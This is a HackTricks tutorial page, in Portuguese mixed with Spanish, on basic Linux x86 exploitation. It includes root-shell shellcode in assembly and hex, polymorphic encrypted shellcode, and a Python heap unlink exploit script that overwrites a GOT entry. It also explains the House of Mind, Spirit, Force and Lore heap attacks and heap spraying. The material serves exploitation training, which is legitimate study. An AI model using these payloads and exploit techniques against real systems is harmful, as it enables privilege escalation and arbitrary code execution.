32 KiB
Linux Exploiting (Basic) (SPA)
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
2.SHELLCODE
Ver interrupções de kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; limpamos eax
xor ebx, ebx ; ebx = 0 pois não há argumento que passar
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Executar syscall
nasm -f elf assembly.asm —> Nos retorna um .o
ld assembly.o -o shellcodeout —> Nos dá um executável formado pelo código assembly e podemos extrair os opcodes com objdump
objdump -d -Mintel ./shellcodeout —> Para ver que efetivamente é nossa shellcode e extrair os OpCodes
Verificar se a shellcode funciona
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Para ver que as chamadas de sistema são realizadas corretamente, deve-se compilar o programa anterior e as chamadas do sistema devem aparecer em strace ./PROGRAMA_COMPILADO
Na hora de criar shellcodes, pode-se realizar um truque. A primeira instrução é um jump para um call. O call chama o código original e além disso coloca no stack o EIP. Depois da instrução call, colocamos a string que precisarmos, portanto, com esse EIP podemos apontar para a string e além disso continuar executando o código.
EJ TRUQUE (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
EJ usando a Pilha(/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Egg Huter:
Consiste em um pequeno código que percorre as páginas de memória associadas a um processo em busca da shellcode ali guardada (busca alguma assinatura colocada na shellcode). Útil nos casos em que se tem apenas um pequeno espaço para injetar código.
Shellcodes polimórficos
Consistem em shells criptografadas que têm um pequeno código que as descriptografa e salta para ele, usando o truque de Call-Pop este seria um exemplo cifrado cesar:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
5.Métodos complementarios
Técnica de Murat
Em linux, todos os programas são mapeados começando em 0xbfffffff
Vendo como se constrói a pilha de um novo processo em linux, pode-se desenvolver um exploit de forma que o programa seja iniciado em um ambiente cuja única variável seja a shellcode. O endereço desta então pode ser calculado como: addr = 0xbfffffff - 4 - strlen(NOME_ejecutable_completo) - strlen(shellcode)
Dessa forma, obter-se-ia de forma simples o endereço onde está a variável de ambiente com a shellcode.
Isso pode ser feito graças à função execle que permite criar um ambiente que tenha apenas as variáveis de ambiente desejadas.
Format Strings to Buffer Overflows
A sprintf moves uma string formatada para uma variável. Portanto, você poderia abusar do formato de uma string para causar um buffer overflow na variável onde o conteúdo é copiado.
Por exemplo, o payload %.44xAAAA
irá escrever 44B+"AAAA" na variável, o que pode causar um buffer overflow.
__atexit Structures
{% hint style="danger" %} Hoje em dia é muito estranho explorar isso. {% endhint %}
atexit()
é uma função à qual outras funções são passadas como parâmetros. Essas funções serão executadas ao executar um exit()
ou o retorno do main.
Se você puder modificar o endereço de qualquer uma dessas funções para apontar para uma shellcode, por exemplo, você ganhará controle do processo, mas isso atualmente é mais complicado.
Atualmente, os endereços das funções a serem executadas estão ocultos atrás de várias estruturas e, finalmente, o endereço para o qual apontam não são os endereços das funções, mas estão criptografados com XOR e deslocamentos com uma chave aleatória. Portanto, atualmente, esse vetor de ataque não é muito útil, pelo menos em x86 e x64_86.
A função de criptografia é PTR_MANGLE
. Outras arquiteturas como m68k, mips32, mips64, aarch64, arm, hppa... não implementam a função de criptografia porque ela retorna o mesmo que recebeu como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor.
setjmp() & longjmp()
{% hint style="danger" %} Hoje em dia é muito estranho explorar isso. {% endhint %}
Setjmp()
permite salvar o contexto (os registradores)
longjmp()
permite restaurar o contexto.
Os registradores salvos são: EBX, ESI, EDI, ESP, EIP, EBP
O que acontece é que EIP e ESP são passados pela função PTR_MANGLE
, então a arquitetura vulnerável a esse ataque é a mesma que acima.
Eles são úteis para recuperação de erros ou interrupções.
No entanto, pelo que li, os outros registradores não estão protegidos, então se houver um call ebx
, call esi
ou call edi
dentro da função chamada, o controle pode ser assumido. Ou você também poderia modificar EBP para modificar o ESP.
VTable e VPTR em C++
Cada classe tem uma Vtable que é um array de ponteiros para métodos.
Cada objeto de uma classe tem um VPtr que é um ponteiro para o array de sua classe. O VPtr é parte do cabeçalho de cada objeto, então se uma sobrescrita do VPtr for alcançada, ele poderia ser modificado para apontar para um método fictício, de forma que a execução de uma função vá para a shellcode.
Medidas preventivas e evasões
Reemplazo de Libsafe
É ativado com: LD_PRELOAD=/lib/libsafe.so.2
ou
“/lib/libsave.so.2” > /etc/ld.so.preload
Intercepta as chamadas a algumas funções inseguras por outras seguras. Não está padronizado. (apenas para x86, não para compilações com -fomit-frame-pointer, não compilações estáticas, nem todas as funções vulneráveis se tornam seguras e LD_PRELOAD não funciona em binários com suid).
ASCII Armored Address Space
Consiste em carregar as bibliotecas compartilhadas de 0x00000000 a 0x00ffffff para que sempre haja um byte 0x00. No entanto, isso realmente não impede quase nenhum ataque, e menos em little endian.
ret2plt
Consiste em realizar um ROP de forma que se chame a função strcpy@plt (da plt) e se aponte para a entrada da GOT e se copie o primeiro byte da função que se deseja chamar (system()). Em seguida, faz-se o mesmo apontando para GOT+1 e se copia o 2º byte de system()… No final, chama-se o endereço guardado na GOT que será system().
Jaulas com chroot()
debootstrap -arch=i386 hardy /home/user —> Instala um sistema básico sob um subdiretório específico
Um admin pode sair de uma dessas jaulas fazendo: mkdir foo; chroot foo; cd ..
Instrumentação de código
Valgrind —> Busca erros
Memcheck
RAD (Return Address Defender)
Insure++
8 Heap Overflows: Exploits básicos
Trozo asignado
prev_size |
size | —Cabeçalho
*mem | Dados
Trozo libre
prev_size |
size |
*fd | Ptr forward chunk
*bk | Ptr back chunk —Cabeçalho
*mem | Dados
Os trozos livres estão em uma lista duplamente encadeada (bin) e nunca podem haver dois trozos livres juntos (eles se juntam).
Em “size” há bits para indicar: Se o trozo anterior está em uso, se o trozo foi alocado por mmap() e se o trozo pertence à arena primária.
Se ao liberar um trozo algum dos contíguos estiver livre, estes se fundem através da macro unlink() e o novo trozo maior é passado para frontlink() para que insira o bin adequado.
unlink(){
BK = P->bk; —> O BK do novo chunk é o que tinha o que já estava livre antes
FD = P->fd; —> O FD do novo chunk é o que tinha o que já estava livre antes
FD->bk = BK; —> O BK do próximo chunk aponta para o novo chunk
BK->fd = FD; —> O FD do chunk anterior aponta para o novo chunk
}
Portanto, se conseguirmos modificar o P->bk com o endereço de uma shellcode e o P->fd com o endereço a uma entrada na GOT ou DTORS menos 12, consegue-se:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
E assim se executa ao sair do programa a shellcode.
Além disso, a 4ª sentença de unlink() escreve algo e a shellcode tem que estar reparada para isso:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Isso provoca a escrita de 4 bytes a partir do 8º byte da shellcode, por isso a primeira instrução da shellcode deve ser um jmp para pular isso e cair em uns nops que levem ao resto da shellcode.
Portanto, o exploit é criado:
No buffer1 colocamos a shellcode começando por um jmp para que caia nos nops ou no resto da shellcode.
Depois da shellcode colocamos preenchimento até chegar ao campo prev_size e size do próximo trozo. Nesses locais colocamos 0xfffffff0 (de forma que se sobrescreva o prev_size para que tenha o bit que diz que está livre) e “-4“(0xfffffffc) no size (para que quando verificar no 3º trozo se o 2º estava livre, na verdade vá ao prev_size modificado que dirá que está livre) -> Assim, quando free() investigar, irá ao size do 3º, mas na verdade irá ao 2º - 4 e pensará que o 2º trozo está livre. E então chamará unlink().
Ao chamar unlink() usará como P->fd os primeiros dados do 2º trozo, portanto, ali se colocará o endereço que se deseja sobrescrever - 12 (pois em FD->bk ele somará 12 ao endereço guardado em FD). E nesse endereço introduzirá o segundo endereço que encontrar no 2º trozo, que nos interessará que seja o endereço da shellcode (P->bk falso).
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #Interesa que o bit que indica que o trozo anterior está livre esteja a 1
fake_size = pack("<I”, 0xfffffffc) #-4, para que pense que o “size” do 3º trozo está 4bytes atrás (aponta para prev_size) pois é aí que olha se o 2º trozo está livre
addr_sc = pack("<I", 0x0804a008 + 8) #No payload no início vamos colocar 8bytes de preenchimento
got_free = pack("<I", 0x08048300 - 12) #Endereço de free() na plt-12 (será o endereço que se sobrescreverá para que a shellcode seja lançada na 2ª vez que se chamar free)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Como se disse, o payload começa com 8 bytes de preenchimento porque sim
payload += prev_size + fake_size + got_free + addr_sc #Se modifica o 2º trozo, o got_free aponta para onde vamos guardar a direção addr_sc + 12
os.system("./8.3.o " + payload)
unset() liberando em sentido inverso (wargame)
Estamos controlando 3 chunks consecutivos e eles são liberados na ordem inversa à reservada.
Nesse caso:
No chunk c colocamos a shellcode
O chunk a usamos para sobrescrever o b de forma que o size tenha o bit PREV_INUSE desativado, de forma que pense que o chunk a está livre.
Além disso, sobrescrevemos no cabeçalho b o size para que valha -4.
Então, o programa pensará que “a” está livre e em um bin, por isso chamará unlink() para desenlaçá-lo. No entanto, como o cabeçalho PREV_SIZE vale -4, pensará que o trozo de “a” realmente começa em b+4. Ou seja, fará um unlink() a um trozo que começa em b+4, por isso em b+12 estará o ponteiro “fd” e em b+16 estará o ponteiro “bk”.
Dessa forma, se em bk colocarmos o endereço da shellcode e em fd colocarmos o endereço da função “puts()”-12, temos nosso payload.
Técnica de Frontlink
Chama-se frontlink quando se libera algo e nenhum de seus trozos contíguos está livre, não se chama unlink() mas sim diretamente frontlink().
Vulnerabilidade útil quando o malloc que se ataca nunca é liberado (free()).
Necessita:
Um buffer que possa ser desbordado com a função de entrada de dados
Um buffer contíguo a este que deve ser liberado e ao qual se modificará o campo fd de seu cabeçalho graças ao desbordamento do buffer anterior
Um buffer a liberar com um tamanho maior que 512, mas menor que o buffer anterior
Um buffer declarado antes do passo 3 que permita sobrescrever o prev_size deste
Dessa forma, conseguindo sobrescrever em dois mallocs de forma descontrolada e em um de forma controlada, mas que só se libera esse um, podemos fazer um exploit.
Vulnerabilidade double free()
Se se chama duas vezes a free() com o mesmo ponteiro, ficam dois bins apontando para o mesmo endereço.
Caso se queira voltar a usar um, ele será atribuído sem problemas. Caso se queira usar outro, será atribuído o mesmo espaço, por isso teríamos os ponteiros “fd” e “bk” falsificados com os dados que escreverá a reserva anterior.
After free()
Um ponteiro previamente liberado é usado novamente sem controle.
8 Heap Overflows: Exploits avançados
As técnicas de Unlink() e FrontLink() foram eliminadas ao modificar a função unlink().
The house of mind
Apenas uma chamada a free() é necessária para provocar a execução de código arbitrário. É interessante buscar um segundo trozo que pode ser desbordado por um anterior e liberado.
Uma chamada a free() provoca chamar public_fREe(mem), este faz:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> Retorna um ponteiro para o endereço onde começa o trozo (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
Em [1] verifica o campo size o bit NON_MAIN_ARENA, o qual pode ser alterado para que a verificação retorne true e execute heap_for_ptr() que faz um and a “mem” deixando a 0 os 2.5 bytes menos importantes (no nosso caso de 0x0804a000 deixa 0x08000000) e acessa 0x08000000->ar_ptr (como se fosse um struct heap_info)
Dessa forma, se podemos controlar um trozo, por exemplo em 0x0804a000 e vai ser liberado um trozo em 0x081002a0, podemos chegar ao endereço 0x08100000 e escrever o que quisermos, por exemplo 0x0804a000. Quando esse segundo trozo for liberado, encontrará que heap_for_ptr(ptr)->ar_ptr retorna o que escrevemos em 0x08100000 (pois se aplica a 0x081002a0 o and que vimos antes e daí se saca o valor dos 4 primeiros bytes, o ar_ptr)
Dessa forma, chama-se _int_free(ar_ptr, mem), ou seja, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
Como vimos antes, podemos controlar o valor de av, pois é o que escrevemos no trozo que vai ser liberado.
Tal como se define unsorted_chunks, sabemos que:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
Portanto, se em av->bins[2] escrevemos o valor de __DTOR_END__-12, na última instrução se escreverá em __DTOR_END__ o endereço do segundo trozo.
Ou seja, no primeiro trozo temos que colocar no início muitas vezes o endereço de __DTOR_END__-12 porque é daí que av->bins[2] irá tirar.
No endereço que cair a direção do segundo trozo com os últimos 5 zeros, devemos escrever o endereço deste primeiro trozo para que heap_for_ptr() pense que o ar_ptr está no início do primeiro trozo e tire de lá o av->bins[2].
No segundo trozo e graças ao primeiro, sobrescrevemos o prev_size com um jump 0x0c e o size com algo para ativar -> NON_MAIN_ARENA.
A seguir, no trozo 2 colocamos um monte de nops e finalmente a shellcode.
Dessa forma, chamará _int_free(TROZO1, TROZO2) e seguirá as instruções para escrever em __DTOR_END__ o endereço do prev_size do TROZO2, o qual saltará para a shellcode.
Para aplicar essa técnica, é necessário que se cumpram alguns requisitos mais que complicam um pouco mais o payload.
Essa técnica já não é aplicável, pois foi aplicado quase o mesmo patch que para unlink. Compara-se se o novo local para o qual se aponta também está apontando para ele.
Fastbin
É uma variante de The house of mind.
Nos interessa chegar a executar o seguinte código ao qual se chega passada a primeira verificação da função _int_free()
fb = &(av->fastbins[fastbin_index(size)] —> Sendo fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
Dessa forma, se se colocar em “fb” dá endereço de uma função na GOT, nesse endereço se colocará o endereço do trozo sobrescrito. Para isso será necessário que a arena esteja perto dos endereços de dtors. Mais exatamente, que av->max_fast esteja no endereço que vamos sobrescrever.
Dado que com The House of Mind vimos que nós controlávamos a posição do av.
Então, se no campo size colocamos um tamanho de 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() nos devolverá fastbins[-1], que apontará para av->max_fast.
Nesse caso, av->max_fast será o endereço que será sobrescrito (não a que aponte, mas essa posição será a que será sobrescrita).
Além disso, deve-se cumprir que o trozo contíguo ao liberado deve ser maior que 8 -> Dado que dissemos que o size do trozo liberado é 8, nesse trozo falso só temos que colocar um size maior que 8 (como além disso a shellcode irá no trozo liberado, haverá que colocar no início um jmp que caia em nops).
Além disso, esse mesmo trozo falso deve ser menor que av->system_mem. av->system_mem está 1848 bytes mais além.
Por culpa dos nulos de _DTOR_END_ e das poucas direções na GOT, nenhum endereço dessas seções serve para ser sobrescrito, assim que vejamos como aplicar fastbin para atacar a pilha.
Outra forma de ataque é redirecionar o av para a pilha.
Se modificarmos o size para que dê 16 em vez de 8, então: fastbin_index() nos devolverá fastbins[0] e podemos fazer uso disso para sobrescrever a pilha.
Para isso, não deve haver nenhum canary nem valores estranhos na pilha, de fato, temos que nos encontrar nela: 4bytes nulos + EBP + RET.
Os 4 bytes nulos são necessários para que o av esteja nesse endereço e o primeiro elemento de um av é o mutex que deve valer 0.
O av->max_fast será o EBP e será um valor que nos servirá para saltar as restrições.
No av->fastbins[0] será sobrescrito com o endereço de p e será o RET, assim se saltará para a shellcode.
Além disso, em av->system_mem (1484bytes acima da posição na pilha) haverá bastante lixo que nos permitirá pular a verificação que é realizada.
Além disso, deve-se cumprir que o trozo contíguo ao liberado deve ser maior que 8 -> Dado que dissemos que o size do trozo liberado é 16, nesse trozo falso só temos que colocar um size maior que 8 (como além disso a shellcode irá no trozo liberado, haverá que colocar no início um jmp que caia em nops que vão depois do campo size do novo trozo falso).
The House of Spirit
Nesse caso, buscamos ter um ponteiro a um malloc que possa ser alterável pelo atacante (por exemplo, que o ponteiro esteja na pilha abaixo de um possível overflow a uma variável).
Assim, poderíamos fazer com que esse ponteiro apontasse para onde fosse. No entanto, nem todo local é válido, o tamanho do trozo falsificado deve ser menor que av->max_fast e mais especificamente igual ao tamanho solicitado em uma futura chamada a malloc()+8. Por isso, se sabemos que depois desse ponteiro vulnerável se chama malloc(40), o tamanho do trozo falso deve ser igual a 48.
Se, por exemplo, o programa perguntasse ao usuário por um número, poderíamos introduzir 48 e apontar o ponteiro de malloc modificável para os seguintes 4bytes (que poderiam pertencer ao EBP com sorte, assim o 48 fica por trás, como se fosse o cabeçalho size). Além disso, o endereço ptr-4+48 deve cumprir várias condições (sendo nesse caso ptr=EBP), ou seja, 8 < ptr-4+48 < av->system_mem.
Caso isso se cumpra, quando se chamar o próximo malloc que dissemos que era malloc(40), será atribuído como endereço o endereço do EBP. Caso o atacante também possa controlar o que é escrito nesse malloc, pode sobrescrever tanto o EBP quanto o EIP com o endereço que quiser.
Acredito que isso seja porque assim, quando o liberar, free() guardará que no endereço que aponta para o EBP da pilha há um trozo de tamanho perfeito para o novo malloc() que se deseja reservar, assim que lhe atribui esse endereço.
The House of Force
É necessário:
- Um overflow a um trozo que permita sobrescrever o wilderness
- Uma chamada a malloc() com o tamanho definido pelo usuário
- Uma chamada a malloc() cujos dados possam ser definidos pelo usuário
O primeiro que se faz é sobrescrever o size do trozo wilderness com um valor muito grande (0xffffffff), assim qualquer solicitação de memória suficientemente grande será tratada em _int_malloc() sem necessidade de expandir o heap.
O segundo é alterar o av->top para que aponte para uma zona de memória sob o controle do atacante, como a pilha. Em av->top se colocará &EIP - 8.
Temos que sobrescrever av->top para que aponte para a zona de memória sob o controle do atacante:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victim coleta o valor do endereço do trozo wilderness atual (o atual av->top) e remainder é exatamente a soma desse endereço mais a quantidade de bytes solicitados por malloc(). Por isso, se &EIP-8 está em 0xbffff224 e av->top contém 0x080c2788, então a quantidade que temos que reservar no malloc controlado para que av->top fique apontando para $EIP-8 para o próximo malloc() será:
0xbffff224 - 0x080c2788 = 3086207644.
Assim, se guardará em av->top o valor alterado e o próximo malloc apontará para o EIP e poderá sobrescrevê-lo.
É importante saber que o size do novo trozo wilderness seja maior que a solicitação realizada pelo último malloc(). Ou seja, se o wilderness está apontando para &EIP-8, o size ficará justo no campo EBP da pilha.
The House of Lore
Corrupção SmallBin
Os trozos liberados são introduzidos no bin em função de seu tamanho. Mas antes de serem introduzidos, são guardados em unsorted bins. Um trozo é liberado, não se coloca imediatamente em seu bin, mas fica em unsorted bins. A seguir, se reserva um novo trozo e o anterior liberado pode servir, devolve-se a ele, mas se se reserva um maior, o trozo liberado em unsorted bins se coloca em seu bin adequado.
Para alcançar o código vulnerável, a solicitação de memória deverá ser maior que av->max_fast (72 normalmente) e menor que MIN_LARGE_SIZE (512).
Se nos bins houver um trozo do tamanho adequado ao que se pede, devolve-se esse após desenlaçá-lo:
bck = victim->bk; Aponta para o trozo anterior, é a única info que podemos alterar.
bin->bk = bck; O penúltimo trozo passa a ser o último, caso bck aponte para a pilha, ao próximo trozo reservado se dará esse endereço.
bck->fd = bin; Fecha-se a lista fazendo com que este aponte para bin.
Necessita-se:
Que se reservem dois malloc, de forma que ao primeiro se possa fazer overflow após que o segundo tenha sido liberado e introduzido em seu bin (ou seja, tenha sido reservado um malloc superior ao segundo trozo antes de fazer o overflow).
Que o malloc reservado ao qual se dá o endereço escolhido pelo atacante seja controlado pelo atacante.
O objetivo é o seguinte, se podemos fazer um overflow a um heap que tem por baixo um trozo já liberado e em seu bin, podemos alterar seu ponteiro bk. Se alteramos seu ponteiro bk e esse trozo chega a ser o primeiro da lista de bin e se reserva, a bin será enganada e dirá que o último trozo da lista (o próximo a oferecer) está no endereço falso que colocamos (na pilha ou GOT, por exemplo). Portanto, se se voltar a reservar outro trozo e o atacante tem permissões nele, se lhe dará um trozo na posição desejada e poderá escrever nele.
Após liberar o trozo modificado, é necessário que se reserve um trozo maior que o liberado, assim o trozo modificado sairá de unsorted bins e se introduzirá em seu bin.
Uma vez em seu bin, é o momento de modificar seu ponteiro bk através do overflow para que aponte para o endereço que queremos sobrescrever.
Assim, o bin deverá esperar turno para que se chame a malloc() suficientes vezes para que se volte a utilizar o bin modificado e enganar o bin fazendo-o acreditar que o próximo trozo está no endereço falso. E a seguir se dará o trozo que nos interessa.
Para que a vulnerabilidade se execute o mais rápido possível, o ideal seria: Reserva do trozo vulnerável, reserva do trozo que se modificará, libera-se esse trozo, reserva-se um trozo maior ao que se modificará, modifica-se o trozo (vulnerabilidade), reserva-se um trozo de igual tamanho ao vulnerado e reserva-se um segundo trozo de igual tamanho e este será o que aponte para o endereço escolhido.
Para proteger esse ataque, usou-se a típica verificação de que o trozo “não” é falso: verifica-se se bck->fd está apontando para victim. Ou seja, no nosso caso, se o ponteiro fd* do trozo falso apontado na pilha está apontando para victim. Para ultrapassar essa proteção, o atacante deveria ser capaz de escrever de alguma forma (provavelmente pela pilha) no endereço adequado a direção de victim. Para que assim pareça um trozo verdadeiro.
Corrupção LargeBin
Necessita-se dos mesmos requisitos que antes e mais alguns, além disso, os trozos reservados devem ser maiores que 512.
O ataque é como o anterior, ou seja, tem que modificar o ponteiro bk e se necessitam todas essas chamadas a malloc(), mas além disso, deve-se modificar o size do trozo modificado de forma que esse size - nb seja < MINSIZE.
Por exemplo, fará que colocar em size 1552 para que 1552 - 1544 = 8 < MINSIZE (a subtração não pode ficar negativa porque se compara um unsigned).
Além disso, foi introduzido um patch para torná-lo ainda mais complicado.
Heap Spraying
Basicamente consiste em reservar toda a memória possível para heaps e preencher esses com um colchão de nops acabados por uma shellcode. Além disso, como colchão, utiliza-se 0x0c. Pois se tentará saltar para o endereço 0x0c0c0c0c, e assim, se se sobrescrever algum endereço ao qual se vá chamar com esse colchão, se saltará ali. Basicamente, a tática é reservar o máximo possível para ver se se sobrescreve algum ponteiro e saltar para 0x0c0c0c0c esperando que ali haja nops.
Heap Feng Shui
Consiste em, através de reservas e liberações, semear a memória de forma que fiquem trozos reservados entre trozos livres. O buffer a desbordar se situará em um dos ovos.
objdump -d executável —> Disas functions
objdump -d ./PROGRAMA | grep FUNCION —> Obter endereço da função
objdump -d -Mintel ./shellcodeout —> Para ver que efetivamente é nossa shellcode e tirar os OpCodes
objdump -t ./exec | grep varBss —> Tabela de símbolos, para tirar endereço de variáveis e funções
objdump -TR ./exec | grep exit(func lib) —> Para tirar endereço de funções de bibliotecas (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Tira o endereço de puts a sobrescrever na GOT
objdump -D ./exec —> Disas ALL até as entradas da plt
objdump -p -/exec
Info functions strncmp —> Info da função em gdb
Cursos interessantes
Referências
{% hint style="success" %}
Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.